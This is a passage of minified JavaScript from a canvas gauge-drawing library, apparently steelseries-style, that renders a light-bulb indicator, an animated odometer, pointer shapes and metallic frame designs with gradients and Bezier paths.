t,h=p(e),o=h[0],r=h[1],s=h[2],f=ar(o,r,s);n.save(),n.clearRect(0,0,n.canvas.width,n.canvas.height),n.save(),n.beginPath(),n.moveTo(.289473*u,.438596*i),n.bezierCurveTo(.289473*u,.561403*i,.385964*u,.605263*i,.385964*u,.745614*i),n.bezierCurveTo(.385964*u,.745614*i,.587719*u,.745614*i,.587719*u,.745614*i),n.bezierCurveTo(.587719*u,.605263*i,.692982*u,.561403*i,.692982*u,.438596*i),n.bezierCurveTo(.692982*u,.324561*i,.605263*u,.22807*i,.5*u,.22807*i),n.bezierCurveTo(.385964*u,.22807*i,.289473*u,.324561*i,.289473*u,.438596*i),n.closePath(),t=n.createLinearGradient(0,.289473*i,0,.701754*i),o===r&&r===s?(t.addColorStop(0,\"hsl(0, 60%, 0%)\"),t.addColorStop(1,\"hsl(0, 40%, 0%)\")):(t.addColorStop(0,\"hsl(\"+f[0]*255+\", \"+f[1]*100+\"%, 70%)\"),t.addColorStop(1,\"hsl(\"+f[0]*255+\", \"+f[1]*100+\"%, 80%)\")),n.fillStyle=t,n.shadowOffsetX=0,n.shadowOffsetY=0,n.shadowBlur=30,n.shadowColor=e,n.fill(),n.lineCap=\"butt\",n.lineJoin=\"round\",n.lineWidth=.008771*u,n.strokeStyle=\"rgba(\"+o+\", \"+r+\", \"+s+\", 0.4)\",n.stroke(),n.restore(),n.restore()},k=function(n){var e,t,f,r;n.save(),n.clearRect(0,0,n.canvas.width,n.canvas.height),n.save(),n.beginPath(),n.moveTo(.350877*u,.333333*i),n.bezierCurveTo(.350877*u,.280701*i,.41228*u,.236842*i,.5*u,.236842*i),n.bezierCurveTo(.578947*u,.236842*i,.64035*u,.280701*i,.64035*u,.333333*i),n.bezierCurveTo(.64035*u,.385964*i,.578947*u,.429824*i,.5*u,.429824*i),n.bezierCurveTo(.41228*u,.429824*i,.350877*u,.385964*i,.350877*u,.333333*i),n.closePath(),e=n.createLinearGradient(0,.245614*i,0,.429824*i),e.addColorStop(0,\"#ffffff\"),e.addColorStop(.99,\"rgba(255, 255, 255, 0)\"),e.addColorStop(1,\"rgba(255, 255, 255, 0)\"),n.fillStyle=e,n.fill(),n.restore(),n.save(),n.beginPath(),n.moveTo(.377192*u,.745614*i),n.bezierCurveTo(.377192*u,.745614*i,.429824*u,.72807*i,.491228*u,.72807*i),n.bezierCurveTo(.561403*u,.72807*i,.605263*u,.736842*i,.605263*u,.736842*i),n.lineTo(.605263*u,.763157*i),n.lineTo(.596491*u,.780701*i),n.lineTo(.605263*u,.798245*i),n.lineTo(.596491*u,.815789*i),n.lineTo(.605263*u,.833333*i),n.lineTo(.596491*u,.850877*i),n.lineTo(.605263*u,.868421*i),n.lineTo(.596491*u,.885964*i),n.lineTo(.605263*u,.894736*i),n.bezierCurveTo(.605263*u,.894736*i,.570175*u,.95614*i,.535087*u,.991228*i),n.bezierCurveTo(.526315*u,.991228*i,.517543*u,i,.5*u,i),n.bezierCurveTo(.482456*u,i,.473684*u,i,.464912*u,.991228*i),n.bezierCurveTo(.421052*u,.947368*i,.394736*u,.903508*i,.394736*u,.903508*i),n.lineTo(.394736*u,.894736*i),n.lineTo(.385964*u,.885964*i),n.lineTo(.394736*u,.868421*i),n.lineTo(.385964*u,.850877*i),n.lineTo(.394736*u,.833333*i),n.lineTo(.385964*u,.815789*i),n.lineTo(.394736*u,.798245*i),n.lineTo(.377192*u,.789473*i),n.lineTo(.394736*u,.771929*i),n.lineTo(.377192*u,.763157*i),n.lineTo(.377192*u,.745614*i),n.closePath(),t=n.createLinearGradient(.473684*u,.72807*i,.484702*u,.938307*i),t.addColorStop(0,\"#333333\"),t.addColorStop(.04,\"#d9dad6\"),t.addColorStop(.19,\"#e4e5e0\"),t.addColorStop(.24,\"#979996\"),t.addColorStop(.31,\"#fbffff\"),t.addColorStop(.4,\"#818584\"),t.addColorStop(.48,\"#f5f7f4\"),t.addColorStop(.56,\"#959794\"),t.addColorStop(.64,\"#f2f2f0\"),t.addColorStop(.7,\"#828783\"),t.addColorStop(.78,\"#fcfcfc\"),t.addColorStop(1,\"#666666\"),n.fillStyle=t,n.fill(),n.restore(),n.save(),n.beginPath(),n.moveTo(.377192*u,.745614*i),n.bezierCurveTo(.377192*u,.745614*i,.429824*u,.72807*i,.491228*u,.72807*i),n.bezierCurveTo(.561403*u,.72807*i,.605263*u,.736842*i,.605263*u,.736842*i),n.lineTo(.605263*u,.763157*i),n.lineTo(.596491*u,.780701*i),n.lineTo(.605263*u,.798245*i),n.lineTo(.596491*u,.815789*i),n.lineTo(.605263*u,.833333*i),n.lineTo(.596491*u,.850877*i),n.lineTo(.605263*u,.868421*i),n.lineTo(.596491*u,.885964*i),n.lineTo(.605263*u,.894736*i),n.bezierCurveTo(.605263*u,.894736*i,.570175*u,.95614*i,.535087*u,.991228*i),n.bezierCurveTo(.526315*u,.991228*i,.517543*u,i,.5*u,i),n.bezierCurveTo(.482456*u,i,.473684*u,i,.464912*u,.991228*i),n.bezierCurveTo(.421052*u,.947368*i,.394736*u,.903508*i,.394736*u,.903508*i),n.lineTo(.394736*u,.894736*i),n.lineTo(.385964*u,.885964*i),n.lineTo(.394736*u,.868421*i),n.lineTo(.385964*u,.850877*i),n.lineTo(.394736*u,.833333*i),n.lineTo(.385964*u,.815789*i),n.lineTo(.394736*u,.798245*i),n.lineTo(.377192*u,.789473*i),n.lineTo(.394736*u,.771929*i),n.lineTo(.377192*u,.763157*i),n.lineTo(.377192*u,.745614*i),n.closePath(),f=n.createLinearGradient(.377192*u,.789473*i,.605263*u,.789473*i),f.addColorStop(0,\"rgba(0, 0, 0, 0.4)\"),f.addColorStop(.15,\"rgba(0, 0, 0, 0.32)\"),f.addColorStop(.85,\"rgba(0, 0, 0, 0.33)\"),f.addColorStop(1,\"rgba(0, 0, 0, 0.4)\"),n.fillStyle=f,n.fill(),n.restore(),n.save(),n.beginPath(),n.moveTo(.421052*u,.947368*i),n.bezierCurveTo(.438596*u,.95614*i,.447368*u,.973684*i,.464912*u,.991228*i),n.bezierCurveTo(.473684*u,i,.482456*u,i,.5*u,i),n.bezierCurveTo(.517543*u,i,.526315*u,.991228*i,.535087*u,.991228*i),n.bezierCurveTo(.543859*u,.982456*i,.561403*u,.95614*i,.578947*u,.947368*i),n.bezierCurveTo(.552631*u,.938596*i,.526315*u,.938596*i,.5*u,.938596*i),n.bezierCurveTo(.473684*u,.938596*i,.447368*u,.938596*i,.421052*u,.947368*i),n.closePath(),r=n.createLinearGradient(0,.938596*i,0,i),r.addColorStop(0,\"#050a06\"),r.addColorStop(.61,\"#070602\"),r.addColorStop(.71,\"#999288\"),r.addColorStop(.83,\"#010101\"),r.addColorStop(1,\"#000000\"),n.fillStyle=r,n.fill(),n.restore(),n.restore()},nt=function(n){n.save(),n.setTransform(1,0,0,1,0,0),n.clearRect(0,0,n.canvas.width,n.canvas.height),n.restore()},w=function(){b=!0,rt(g),d(ut),k(it)};return this.setOn=function(n){v=n,this.repaint()},this.isOn=function(){return v},this.setAlpha=function(n){y=n,this.repaint()},this.getAlpha=function(){return y},this.setGlowColor=function(n){e=n,w(),this.repaint()},this.getGlowColor=function(){return e},this.repaint=function(){b||w(),nt(f),f.save(),f.drawImage(h,0,0),f.globalAlpha=y,v&&f.drawImage(o,0,0),f.globalAlpha=1,f.drawImage(s,0,0),f.restore()},this.repaint(),this},pr=function(n,i){function vt(){var t,n;for(ht=!0,v.rect(0,0,c,o),t=v.createLinearGradient(0,0,0,o),t.addColorStop(0,\"rgba(0, 0, 0, 1)\"),t.addColorStop(.1,\"rgba(0, 0, 0, 0.4)\"),t.addColorStop(.33,\"rgba(255, 255, 255, 0.45)\"),t.addColorStop(.46,\"rgba(255, 255, 255, 0)\"),t.addColorStop(.9,\"rgba(0, 0, 0, 0.4)\"),t.addColorStop(1,\"rgba(0, 0, 0, 1)\"),v.fillStyle=t,v.fill(),r.rect(0,0,f,s*1.1),r.fillStyle=lt,r.fill(),r.strokeStyle=\"#f0f0f0\",r.lineWidth=\"1px\",r.moveTo(0,0),r.lineTo(0,s*1.1),r.stroke(),r.strokeStyle=\"#202020\",r.moveTo(f,0),r.lineTo(f,s*1.1),r.stroke(),r.textAlign=\"center\",r.textBaseline=\"middle\",r.font=ut,r.fillStyle=ct,n=9;n<21;n++)r.fillText(n%10,f*.5,h*(n-9)+h/2);if(l>0)for(u.rect(0,0,f,s*1.1),u.fillStyle=ot,u.fill(),u.strokeStyle=\"#f0f0f0\",u.lineWidth=\"1px\",u.moveTo(0,0),u.lineTo(0,s*1.1),u.stroke(),u.strokeStyle=\"#202020\",u.moveTo(f,0),u.lineTo(f,s*1.1),u.stroke(),u.textAlign=\"center\",u.textBaseline=\"middle\",u.font=ut,u.fillStyle=et,n=9;n<21;n++)u.fillText(n%10,f*.5,h*(n-9)+h/2);for(n=0;n<p+l;n++)g[n]=Math.random()*rt*o-rt*o/2}function at(){for(var s=1,u,t,i,o,r=e,n=0;n<l;n++)r*=10;for(t=Math.floor(r),i=r-t,t=String(t),o=9,n=0;n<l+p;n++)u=+t.substring(t.length-n-1,t.length-n)||0,o!==9&&(i=0),n<l?w.drawImage(d,c-f*s,-(h*(u+i)+tt+g[n])):w.drawImage(b,c-f*s,-(h*(u+i)+tt+g[n])),s++,o=u}var yt=document,it,o,p,l,ot,et,st,e,lt,ct,rt,ht=!1,a,y,ft,f,ut,c,s,h,tt,g=[],k,w,nt,v,b,r,d,u;i=i||{},it=undefined===i.height?null:i._context,o=undefined===i.height?40:i.height,p=undefined===i.digits?6:i.digits,l=undefined===i.decimals?1:i.decimals,ot=undefined===i.decimalBackColor?\"#F0F0F0\":i.decimalBackColor,et=undefined===i.decimalForeColor?\"#F01010\":i.decimalForeColor,st=undefined===i.font?\"sans-serif\":i.font,e=undefined===i.value?0:i.value,lt=undefined===i.valueBackColor?\"#050505\":i.valueBackColor,ct=undefined===i.valueForeColor?\"#F8F8F8\":i.valueForeColor,rt=undefined===i.wobbleFactor?.07:i.wobbleFactor,y=it?it:yt.getElementById(n).getContext(\"2d\"),e<0&&(e=0),ft=Math.floor(o*.85),ut=\"600 \"+ft+\"px \"+st,f=Math.floor(o*.68),c=f*(p+l),s=ft*11,h=s/12,tt=h*.81,y.canvas.width=c,y.canvas.height=o,k=t(c,o),w=k.getContext(\"2d\"),nt=t(c,o),v=nt.getContext(\"2d\"),b=t(f,s*1.1),r=b.getContext(\"2d\"),d=t(f,s*1.1),u=d.getContext(\"2d\"),this.setValueAnimated=function(n){var t=this;n<0&&(n=0),e!==n&&(undefined!==a&&a.playing&&a.stop(),a=new Tween({},\"\",Tween.strongEaseOut,e,n,2),a.onMotionChanged=function(n){e=n.target._pos,t.repaint()},a.start()),this.repaint()},this.setValue=function(n){e=n,e<0&&(e=0),this.repaint()},this.getValue=function(){return e},this.repaint=function(){ht||vt(),at(),w.drawImage(nt,0,0),y.drawImage(k,0,0)},this.repaint()},hi=function(n,t,i,r,u,f){var c=!0,e,o,h=Math.PI/180,s=f.symbolColor.getRgbaColor();for(n.save(),n.lineWidth=1,n.fillStyle=s,n.strokeStyle=s,n.translate(t,i),e=0;e<360;e+=15)c=!c,n.beginPath(),n.arc(0,0,r*.26,e*h,(e+15)*h,!1),n.arc(0,0,r*.23,(e+15)*h,e*h,!0),n.closePath(),c&&n.fill(),n.stroke();for(n.translate(-t,-i),e=0;360>=e;e+=90)n.beginPath(),n.moveTo(r*.560747,u*.584112),n.lineTo(r*.640186,u*.644859),n.lineTo(r*.584112,u*.560747),n.lineTo(r*.560747,u*.584112),n.closePath(),n.fillStyle=s,n.fill(),n.stroke(),n.beginPath(),n.moveTo(r*.523364,u*.397196),n.lineTo(r*.5,u*.196261),n.lineTo(r*.471962,u*.397196),n.lineTo(r*.523364,u*.397196),n.closePath(),o=n.createLinearGradient(.476635*r,0,.518691*r,0),o.addColorStop(0,\"rgb(222, 223, 218)\"),o.addColorStop(.48,\"rgb(222, 223, 218)\"),o.addColorStop(.49,s),o.addColorStop(1,s),n.fillStyle=o,n.fill(),n.stroke(),n.translate(t,i),n.rotate(e*Math.PI/180),n.translate(-t,-i);n.beginPath(),n.translate(t,i),n.arc(0,0,r*.1,0,Math.PI*2,!1),n.lineWidth=r*.022,n.stroke(),n.translate(-t,-i),n.restore()},nt=function(n,i,r,u,f,e){var l,o,s,h,c=i.toString()+r.type+u.light.getHexColor()+u.medium.getHexColor()+e;if(!nt.cache[c]){l=t(i,i),o=l.getContext(\"2d\"),e&&(o.fillStyle=\"rgba(0, 0, 0, 1)\",o.strokeStyle=\"rgba(0, 0, 0, 1)\",o.shadowBlur=3,o.globalAlpha=.5);switch(r.type){case\"type2\":e||(s=o.createLinearGradient(0,i*.471962,0,i*.130841),s.addColorStop(0,f.getRgbaColor()),s.addColorStop(.36,f.getRgbaColor()),s.addColorStop(.361,u.light.getRgbaColor()),s.addColorStop(1,u.light.getRgbaColor()),o.fillStyle=s),o.beginPath(),o.moveTo(i*.518691,i*.471962),o.lineTo(i*.509345,i*.462616),o.lineTo(i*.509345,i*.341121),o.lineTo(i*.504672,i*.130841),o.lineTo(i*.495327,i*.130841),o.lineTo(i*.490654,i*.341121),o.lineTo(i*.490654,i*.462616),o.lineTo(i*.481308,i*.471962),o.closePath(),o.fill();break;case\"type3\":o.beginPath(),o.rect(i*.495327,i*.130841,i*.009345,i*.373831),o.closePath(),e||(o.fillStyle=u.light.getRgbaColor()),o.fill();break;case\"type4\":e||(s=o.createLinearGradient(.467289*i,0,.528036*i,0),s.addColorStop(0,u.dark.getRgbaColor()),s.addColorStop(.51,u.dark.getRgbaColor()),s.addColorStop(.52,u.light.getRgbaColor()),s.addColorStop(1,u.light.getRgbaColor()),o.fillStyle=s),o.beginPath(),o.moveTo(i*.5,i*.126168),o.lineTo(i*.514018,i*.135514),o.lineTo(i*.53271,i*.5),o.lineTo(i*.523364,i*.602803),o.lineTo(i*.476635,i*.602803),o.lineTo(i*.467289,i*.5),o.lineTo(i*.485981,i*.135514),o.lineTo(i*.5,i*.126168),o.closePath(),o.fill();break;case\"type5\":e||(s=o.createLinearGradient(.471962*i,0,.528036*i,0),s.addColorStop(0,u.light.getRgbaColor()),s.addColorStop(.5,u.light.getRgbaColor()),s.addColorStop(.5,u.medium.getRgbaColor()),s.addColorStop(1,u.medium.getRgbaColor()),o.fillStyle=s),o.beginPath(),o.moveTo(i*.5,i*.495327),o.lineTo(i*.528037,i*.495327),o.lineTo(i*.5,i*.149532),o.lineTo(i*.471962,i*.495327),o.lineTo(i*.5,i*.495327),o.closePath(),o.fill(),o.lineWidth=1,o.lineCap=\"square\",o.lineJoin=\"miter\",e||(o.strokeStyle=u.dark.getRgbaColor()),o.stroke();break;case\"type6\":e||(o.fillStyle=u.medium.getRgbaColor()),o.beginPath(),o.moveTo(i*.481308,i*.485981),o.lineTo(i*.481308,i*.392523),o.lineTo(i*.485981,i*.317757),o.lineTo(i*.495327,i*.130841),o.lineTo(i*.504672,i*.130841),o.lineTo(i*.514018,i*.317757),o.lineTo(i*.518691,i*.38785),o.lineTo(i*.518691,i*.485981),o.lineTo(i*.504672,i*.485981),o.lineTo(i*.504672,i*.38785),o.lineTo(i*.5,i*.317757),o.lineTo(i*.495327,i*.392523),o.lineTo(i*.495327,i*.485981),o.lineTo(i*.481308,i*.485981),o.closePath(),o.fill();break;case\"type7\":e||(s=o.createLinearGradient(.481308*i,0,.518691*i,0),s.addColorStop(0,u.dark.getRgbaColor()),s.addColorStop(1,u.medium.getRgbaColor()),o.fillStyle=s),o.beginPath(),o.moveTo(i*.490654,i*.130841),o.lineTo(i*.481308,i*.5),o.lineTo(i*.518691,i*.5),o.lineTo(i*.504672,i*.130841),o.lineTo(i*.490654,i*.130841),o.closePath(),o.fill();break;case\"type8\":e||(s=o.createLinearGradient(.471962*i,0,.528036*i,0),s.addColorStop(0,u.light.getRgbaColor()),s.addColorStop(.5,u.light.getRgbaColor()),s.addColorStop(.5,u.medium.getRgbaColor()),s.addColorStop(1,u.medium.getRgbaColor()),o.fillStyle=s,o.strokeStyle=u.dark.getRgbaColor()),o.beginPath(),o.moveTo(i*.5,i*.53271),o.lineTo(i*.53271,i*.5),o.bezierCurveTo(i*.53271,i*.5,i*.509345,i*.457943,i*.5,i*.149532),o.bezierCurveTo(i*.490654,i*.457943,i*.467289,i*.5,i*.467289,i*.5),o.lineTo(i*.5,i*.53271),o.closePath(),o.fill(),o.stroke();break;case\"type9\":e||(s=o.createLinearGradient(.471962*i,0,.528036*i,0),s.addColorStop(0,\"rgb(50, 50, 50)\"),s.addColorStop(.5,\"#666666\"),s.addColorStop(1,\"rgb(50, 50, 50)\"),o.fillStyle=s,o.strokeStyle=\"#2E2E2E\"),o.beginPath(),o.moveTo(i*.495327,i*.233644),o.lineTo(i*.504672,i*.233644),o.lineTo(i*.514018,i*.439252),o.lineTo(i*.485981,i*.439252),o.lineTo(i*.495327,i*.233644),o.closePath(),o.moveTo(i*.490654,i*.130841),o.lineTo(i*.471962,i*.471962),o.lineTo(i*.471962,i*.528037),o.bezierCurveTo(i*.471962,i*.528037,i*.476635,i*.602803,i*.476635,i*.602803),o.bezierCurveTo(i*.476635,i*.607476,i*.481308,i*.607476,i*.5,i*.607476),o.bezierCurveTo(i*.518691,i*.607476,i*.523364,i*.607476,i*.523364,i*.602803),o.bezierCurveTo(i*.523364,i*.602803,i*.528037,i*.528037,i*.528037,i*.528037),o.lineTo(i*.528037,i*.471962),o.lineTo(i*.509345,i*.130841),o.lineTo(i*.490654,i*.130841),o.closePath(),o.fill(),o.beginPath(),o.moveTo(i*.495327,i*.219626),o.lineTo(i*.504672,i*.219626),o.lineTo(i*.504672,i*.135514),o.lineTo(i*.495327,i*.135514),o.lineTo(i*.495327,i*.219626),o.closePath(),e||(o.fillStyle=u.medium.getRgbaColor()),o.fill();break;case\"type10\":o.beginPath(),o.moveTo(i*.5,i*.149532),o.bezierCurveTo(i*.5,i*.149532,i*.443925,i*.490654,i*.443925,i*.5),o.bezierCurveTo(i*.443925,i*.53271,i*.467289,i*.556074,i*.5,i*.556074),o.bezierCurveTo(i*.53271,i*.556074,i*.556074,i*.53271,i*.556074,i*.5),o.bezierCurveTo(i*.556074,i*.490654,i*.5,i*.149532,i*.5,i*.149532),o.closePath(),e||(s=o.createLinearGradient(.471962*i,0,.528036*i,0),s.addColorStop(0,u.light.getRgbaColor()),s.addColorStop(.5,u.light.getRgbaColor()),s.addColorStop(.5,u.medium.getRgbaColor()),s.addColorStop(1,u.medium.getRgbaColor()),o.fillStyle=s,o.strokeStyle=u.medium.getRgbaColor()),o.lineWidth=1,o.lineCap=\"square\",o.lineJoin=\"miter\",o.fill(),o.stroke();break;case\"type11\":o.beginPath(),o.moveTo(.5*i,.168224*i),o.lineTo(.485981*i,.5*i),o.bezierCurveTo(.485981*i,.5*i,.481308*i,.584112*i,.5*i,.584112*i),o.bezierCurveTo(.514018*i,.584112*i,.509345*i,.5*i,.509345*i,.5*i),o.lineTo(.5*i,.168224*i),o.closePath(),e||(s=o.createLinearGradient(0,.168224*i,0,.584112*i),s.addColorStop(0,u.medium.getRgbaColor()),s.addColorStop(1,u.dark.getRgbaColor()),o.fillStyle=s,o.strokeStyle=u.dark.getRgbaColor()),o.fill(),o.stroke();break;case\"type12\":o.beginPath(),o.moveTo(.5*i,.168224*i),o.lineTo(.485981*i,.5*i),o.lineTo(.5*i,.504672*i),o.lineTo(.509345*i,.5*i),o.lineTo(.5*i,.168224*i),o.closePath(),e||(s=o.createLinearGradient(0,.168224*i,0,.504672*i),s.addColorStop(0,u.medium.getRgbaColor()),s.addColorStop(1,u.dark.getRgbaColor()),o.fillStyle=s,o.strokeStyle=u.dark.getRgbaColor()),o.fill(),o.stroke();break;case\"type13\":case\"type14\":o.beginPath(),o.moveTo(.485981*i,.168224*i),o.lineTo(.5*i,.130841*i),o.lineTo(.509345*i,.168224*i),o.lineTo(.509345*i,.509345*i),o.lineTo(.485981*i,.509345*i),o.lineTo(.485981*i,.168224*i),o.closePath(),e||(r.type===\"type13\"?(s=o.createLinearGradient(0,.5*i,0,.130841*i),s.addColorStop(0,f.getRgbaColor()),s.addColorStop(.85,f.getRgbaColor()),s.addColorStop(.85,u.medium.getRgbaColor()),s.addColorStop(1,u.medium.getRgbaColor()),o.fillStyle=s):(s=o.createLinearGradient(.485981*i,0,.509345*i,0),s.addColorStop(0,u.veryDark.getRgbaColor()),s.addColorStop(.5,u.light.getRgbaColor()),s.addColorStop(1,u.veryDark.getRgbaColor()),o.fillStyle=s)),o.fill();break;case\"type15\":case\"type16\":o.beginPath(),o.moveTo(i*.509345,i*.457943),o.lineTo(i*.5015,i*.13),o.lineTo(i*.4985,i*.13),o.lineTo(i*.490654,i*.457943),o.bezierCurveTo(i*.490654,i*.457943,i*.490654,i*.457943,i*.490654,i*.457943),o.bezierCurveTo(i*.471962,i*.462616,i*.457943,i*.481308,i*.457943,i*.5),o.bezierCurveTo(i*.457943,i*.518691,i*.471962,i*.537383,i*.490654,i*.542056),o.bezierCurveTo(i*.490654,i*.542056,i*.490654,i*.542056,i*.490654,i*.542056),r.type===\"type15\"?(o.lineTo(i*.490654,i*.57),o.bezierCurveTo(i*.46,i*.58,i*.46,i*.62,i*.490654,i*.63),o.bezierCurveTo(i*.47,i*.62,i*.48,i*.59,i*.5,i*.59),o.bezierCurveTo(i*.53,i*.59,i*.52,i*.62,i*.509345,i*.63),o.bezierCurveTo(i*.54,i*.62,i*.54,i*.58,i*.509345,i*.57),o.lineTo(i*.509345,i*.57)):(o.lineTo(i*.490654,i*.621495),o.lineTo(i*.509345,i*.621495)),o.lineTo(i*.509345,i*.542056),o.bezierCurveTo(i*.509345,i*.542056,i*.509345,i*.542056,i*.509345,i*.542056),o.bezierCurveTo(i*.528037,i*.537383,i*.542056,i*.518691,i*.542056,i*.5),o.bezierCurveTo(i*.542056,i*.481308,i*.528037,i*.462616,i*.509345,i*.457943),o.bezierCurveTo(i*.509345,i*.457943,i*.509345,i*.457943,i*.509345,i*.457943),o.closePath(),e?o.fill():(s=r.type===\"type15\"?o.createLinearGradient(0,0,0,i*.63):o.createLinearGradient(0,0,0,i*.621495),s.addColorStop(0,u.medium.getRgbaColor()),s.addColorStop(.388888,u.medium.getRgbaColor()),s.addColorStop(.5,u.light.getRgbaColor()),s.addColorStop(.611111,u.medium.getRgbaColor()),s.addColorStop(1,u.medium.getRgbaColor()),o.fillStyle=s,o.strokeStyle=u.dark.getRgbaColor(),o.fill(),o.stroke()),e||(o.beginPath(),h=i*.06542/2,o.arc(i*.5,i*.5,h,0,Math.PI*2),s=o.createLinearGradient(i*.5-h,i*.5+h,0,i*.5+h),s.addColorStop(0,\"#e6b35c\"),s.addColorStop(.01,\"#e6b35c\"),s.addColorStop(.99,\"#c48200\"),s.addColorStop(1,\"#c48200\"),o.fillStyle=s,o.closePath(),o.fill(),o.beginPath(),h=i*.046728/2,o.arc(i*.5,i*.5,h,0,Math.PI*2),s=o.createRadialGradient(i*.5,i*.5,0,i*.5,i*.5,h),s.addColorStop(0,\"#c5c5c5\"),s.addColorStop(.19,\"#c5c5c5\"),s.addColorStop(.22,\"#000000\"),s.addColorStop(.8,\"#000000\"),s.addColorStop(.99,\"#707070\"),s.addColorStop(1,\"#707070\"),o.fillStyle=s,o.closePath(),o.fill());break;case\"type1\":default:e||(s=o.createLinearGradient(0,i*.471962,0,i*.130841),s.addColorStop(0,u.veryDark.getRgbaColor()),s.addColorStop(.3,u.medium.getRgbaColor()),s.addColorStop(.59,u.medium.getRgbaColor()),s.addColorStop(1,u.veryDark.getRgbaColor()),o.fillStyle=s),o.beginPath(),o.moveTo(i*.518691,i*.471962),o.bezierCurveTo(i*.514018,i*.457943,i*.509345,i*.415887,i*.509345,i*.401869),o.bezierCurveTo(i*.504672,i*.383177,i*.5,i*.130841,i*.5,i*.130841),o.bezierCurveTo(i*.5,i*.130841,i*.490654,i*.383177,i*.490654,i*.397196),o.bezierCurveTo(i*.490654,i*.415887,i*.485981,i*.457943,i*.481308,i*.471962),o.bezierCurveTo(i*.471962,i*.481308,i*.467289,i*.490654,i*.467289,i*.5),o.bezierCurveTo(i*.467289,i*.518691,i*.481308,i*.53271,i*.5,i*.53271),o.bezierCurveTo(i*.518691,i*.53271,i*.53271,i*.518691,i*.53271,i*.5),o.bezierCurveTo(i*.53271,i*.490654,i*.528037,i*.481308,i*.518691,i*.471962),o.closePath(),o.fill()}nt.cache[c]=l}return n.drawImage(nt.cache[c],0,0),this},v,ht,w,rt,ot,y,et,e,o,p,a,d,h,u,b,ut,at,pt,ri,dt,g,l,lt,gt,bt,yt;nt.cache={},v=function(i,r,u,f,e,o){var w,s,h,y,c,l,a,p=e.toString()+o+r.design;if(!v.cache[p]){w=t(e,o),s=w.getContext(\"2d\"),s.fillStyle=\"#848484\",s.strokeStyle=\"rgba(132, 132, 132, 0.5)\",s.beginPath(),s.arc(u,f,e/2,0,Math.PI*2,!0),s.closePath(),s.fill(),s.stroke(),s.beginPath(),s.arc(u,f,e*.990654/2,0,Math.PI*2,!0),s.closePath();switch(r.design){case\"metal\":h=s.createLinearGradient(0,e*.004672,0,o*.990654),h.addColorStop(0,\"#fefefe\"),h.addColorStop(.07,\"rgb(210, 210, 210)\"),h.addColorStop(.12,\"rgb(179, 179, 179)\"),h.addColorStop(1,\"rgb(213, 213, 213)\"),s.fillStyle=h,s.fill();break;case\"brass\":h=s.createLinearGradient(0,e*.004672,0,o*.990654),h.addColorStop(0,\"rgb(249, 243, 155)\"),h.addColorStop(.05,\"rgb(246, 226, 101)\"),h.addColorStop(.1,\"rgb(240, 225, 132)\"),h.addColorStop(.5,\"rgb(90, 57, 22)\"),h.addColorStop(.9,\"rgb(249, 237, 139)\"),h.addColorStop(.95,\"rgb(243, 226, 108)\"),h.addColorStop(1,\"rgb(202, 182, 113)\"),s.fillStyle=h,s.fill();break;case\"steel\":h=s.createLinearGradient(0,e*.004672,0,o*.990654),h.addColorStop(0,\"rgb(231, 237, 237)\"),h.addColorStop(.05,\"rgb(189, 199, 198)\"),h.addColorStop(.1,\"rgb(192, 201, 200)\"),h.addColorStop(.5,\"rgb(23, 31, 33)\"),h.addColorStop(.9,\"rgb(196, 205, 204)\"),h.addColorStop(.95,\"rgb(194, 204, 203)\"),h.addColorStop(1,\"rgb(189, 201, 199)\"),s.fillStyle=h,s.fill();break;case\"gold\":h=s.createLinearGradient(0,e*.004672,0,o*.990654),h.addColorStop(0,\"rgb(255, 255, 207)\"),h.addColorStop(.15,\"rgb(255, 237, 96)\"),h.addColorStop(.22,\"rgb(254, 199, 57)\"),h.addColorStop(.3,\"rgb(255, 249, 203)\"),h.addColorStop(.38,\"rgb(255, 199, 64)\"),h.addColorStop(.44,\"rgb(252, 194, 60)\"),h.addColorStop(.51,\"rgb(255, 204, 59)\"),h.addColorStop(.6,\"rgb(213, 134, 29)\"),h.addColorStop(.68,\"rgb(255, 201, 56)\"),h.addColorStop(.75,\"rgb(212, 135, 29)\"),h.addColorStop(1,\"rgb(247, 238, 101)\"),s.fillStyle=h,s.fill();break;case\"anthracite\":h=s.createLinearGradient(0,.004672*o,0,.995326*o),h.addColorStop(0,\"rgb(118, 117, 135)\"),h.addColorStop(.06,\"rgb(74, 74, 82)\"),h.addColorStop(.12,\"rgb(50, 50, 54)\"),h.addColorStop(1,\"rgb(79, 79, 87)\"),s.fillStyle=h,s.fill();break;case\"tiltedGray\":h=s.createLinearGradient(.233644*e,.084112*o,.81258*e,.910919*o),h.addColorStop(0,\"#ffffff\"),h.addColorStop(.07,\"rgb(210, 210, 210)\"),h.addColorStop(.16,\"rgb(179, 179, 179)\"),h.addColorStop(.33,\"#ffffff\"),h.addColorStop(.55,\"#c5c5c5\"),h.addColorStop(.79,\"#ffffff\"),h.addColorStop(1,\"#666666\"),s.fillStyle=h,s.fill();break;case\"tiltedBlack\":h=s.createLinearGradient(.228971*e,.079439*o,.802547*e,.898591*o),h.addColorStop(0,\"#666666\"),h.addColorStop(.21,\"#000000\"),h.addColorStop(.47,\"#666666\"),h.addColorStop(.99,\"#000000\"),h.addColorStop(1,\"#000000\"),s.fillStyle=h,s.fill();break;case\"glossyMetal\":h=s.createRadialGradient(.5*e,.5*o,0,.5*e,.5*e,.5*e),h.addColorStop(0,\"rgb(207, 207, 207)\"),h.addColorStop(.96,\"rgb(205, 204, 205)\"),h.addColorStop(1,\"rgb(244, 244, 244)\"),s.fillStyle=h,s.fill(),s.beginPath(),s.arc(.5*e,.5*o,.973962*e/2,0,Math.PI*2),s.closePath(),h=s.createLinearGradient(0,o-.971962*o,0,.971962*o),h.addColorStop(0,\"rgb(249, 249, 249)\"),h.addColorStop(.23,\"rgb(200, 195, 191)\"),h.addColorStop(.36,\"#ffffff\"),h.addColorStop(.59,\"rgb(29, 29, 29)\"),h.addColorStop(.76,\"rgb(200, 194, 192)\"),h.addColorStop(1,\"rgb(209, 209, 209)\"),s.fillStyle=h,s.fill(),s.beginPath(),s.arc(.5*e,.5*o,.869158*e/2,0,Math.PI*2),s.closePath(),s.fillStyle=\"#f6f6f6\",s.fill(),s.beginPath(),s.arc(.5*e,.5*o,.85*e/2,0,Math.PI*2),s.closePath(),s.fillStyle=\"#333333\",s.fill();break;case\"blackMetal\":l=[0,.125,.347222,.5,.680555,.875,1],a=[new n(254,254,254,1),new n(0,0,0,1),new n(153,153,153,1),new n(0,0,0,1),new n(153,153,153,1),new n(0,0,0,1),new n(254,254,254,1)],s.save(),s.clip(s.arc(u,f,e*.990654/2,0,Math.PI*2,!0)),y=e*.495327,c=e*.42056,h=new it(l,a,-Math.PI/2),h.fill(s,u,f,c,y),s.strokeStyle=\"#848484\",s.strokeStyle=\"rgba(132, 